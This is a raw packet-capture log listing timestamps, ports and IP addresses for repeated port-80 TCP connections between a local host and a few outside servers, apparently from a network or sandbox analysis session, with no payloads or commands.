Jun 28, 2024 13:36:25.698925018 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.698935032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.698951960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699007034 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699022055 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699038029 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699047089 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699062109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699075937 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699079037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699090958 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699107885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.699111938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699111938 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699156046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.699156046 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750024080 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750073910 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750087976 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750102997 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750117064 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750117064 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750130892 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750145912 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750149965 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750149965 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750193119 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750196934 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750227928 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750293970 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750498056 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750511885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750525951 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750566959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750566959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750566959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750608921 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750622988 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750637054 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750650883 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750704050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750704050 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750716925 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750736952 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750750065 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750763893 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750802994 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750806093 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750821114 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750834942 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750835896 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750891924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750894070 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750909090 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750924110 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750929117 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750936985 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750946045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750946045 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750963926 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.750977039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.750977039 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751014948 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751035929 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751038074 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751053095 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751068115 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751096010 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751117945 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751131058 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751146078 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751147032 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751182079 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751194954 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751209021 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751223087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751235962 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751243114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751243114 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751250029 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751291990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751291990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751291990 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751419067 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751492023 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751523972 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751610041 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751610994 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751625061 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751708984 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751723051 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751745939 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751746893 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751766920 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751770020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751770020 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751781940 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751791000 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751795053 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751817942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751817942 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751820087 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751841068 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751854897 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751862049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751862049 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751871109 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751888037 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751888037 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751903057 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751909971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751909971 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751916885 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751931906 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.751951933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.751951933 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.752003908 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.752017975 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.752031088 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.752032995 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.752047062 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.752055883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.752055883 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.752062082 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.752085924 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.752146959 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.760010004 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.760082960 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.760159016 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.760171890 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 28, 2024 13:36:25.760221004 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:25.760946035 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 28, 2024 13:36:26.520637989 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:26.520920992 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:26.525753975 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:26.525839090 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:26.525895119 CEST	80	49720	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:26.525954962 CEST	49720	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:26.526110888 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:26.530842066 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:26.740242958 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:26.745275974 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:26.746279001 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:26.746532917 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:26.751374006 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:27.216711998 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:27.216773033 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.333199978 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.333487034 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.342924118 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:27.343096972 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.343318939 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.344265938 CEST	80	49722	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:27.344341040 CEST	49722	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:27.350034952 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:27.356220007 CEST	80	49723	85.28.47.4	192.168.2.5
Jun 28, 2024 13:36:27.356285095 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:28.030973911 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.031042099 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.042701960 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.270032883 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.394053936 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.394074917 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.600255013 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.603874922 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.708200932 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.708544970 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.713407040 CEST	80	49724	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.713426113 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.713466883 CEST	49724	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.713520050 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.713615894 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:28.718372107 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:28.940272093 CEST	49723	80	192.168.2.5	85.28.47.4
Jun 28, 2024 13:36:29.592684984 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:29.592770100 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.593427896 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.598232985 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:29.818588018 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:29.818675995 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.926678896 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.926976919 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.931875944 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:29.931891918 CEST	80	49725	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:29.931977034 CEST	49725	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.931992054 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.932163000 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:29.936944962 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.618885040 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.618953943 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.619616032 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.624439955 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.839169979 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.839272022 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.942451000 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.944730043 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.952712059 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.952774048 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.952945948 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.955662012 CEST	80	49726	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:30.955719948 CEST	49726	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:30.958858967 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.617651939 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.617721081 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.618484974 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.623272896 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.828908920 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.829015017 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.944251060 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.944536924 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.949342966 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.949404001 CEST	80	49727	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:31.949445009 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.949451923 CEST	49727	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.949637890 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:31.954420090 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.637686968 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.637762070 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.638382912 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.643163919 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.855712891 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.855843067 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.957964897 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.958312035 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.963196993 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.963320971 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.963403940 CEST	80	49728	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:32.963455915 CEST	49728	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.963613987 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:32.968368053 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.640149117 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.640213966 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.640794992 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.646008015 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.851919889 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.852001905 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.957901001 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.958172083 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.963522911 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.963603020 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.963671923 CEST	80	49729	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:33.963686943 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.963716030 CEST	49729	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:33.968600988 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:34.655205011 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:34.655284882 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:34.655982018 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:34.660809994 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:34.871501923 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:34.871649981 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:34.973582029 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:34.973900080 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:35.285532951 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:35.395771980 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:35.395787954 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:35.395795107 CEST	80	49730	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:35.395915985 CEST	49730	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:35.395932913 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:35.396168947 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:35.402988911 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.106043100 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.106121063 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.106794119 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.111711025 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.331557989 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.331620932 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.442740917 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.442946911 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.447712898 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.447782993 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.447875023 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.448283911 CEST	80	49731	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:36.448335886 CEST	49731	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:36.453144073 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.124552965 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.124633074 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.125324965 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.131015062 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.339376926 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.339483023 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.442254066 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.442603111 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.447432041 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.447500944 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.447659969 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.447699070 CEST	80	49732	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:37.447751045 CEST	49732	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:37.453912973 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.123570919 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.123651028 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.124269962 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.129060030 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.636662006 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.636718988 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.638731956 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.638780117 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.739454985 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.739792109 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.744627953 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.744641066 CEST	80	49733	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:38.744718075 CEST	49733	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.744718075 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.744889021 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:38.749614954 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.412806988 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.413053989 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.413733006 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.418492079 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.628693104 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.628928900 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.739480972 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.739787102 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.744755030 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.744776964 CEST	80	49734	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:39.744843006 CEST	49734	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.744858980 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.745088100 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:39.749927998 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.422669888 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.422733068 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.423300028 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.428266048 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.635448933 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.635538101 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.741070986 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.741364956 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.750276089 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.750407934 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.750689983 CEST	49736	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:40.755992889 CEST	80	49736	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.758220911 CEST	80	49735	77.91.77.82	192.168.2.5
Jun 28, 2024 13:36:40.758270025 CEST	49735	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:36:41.423033953 CEST	80	49736	77.91.77.82	192.168.2.5
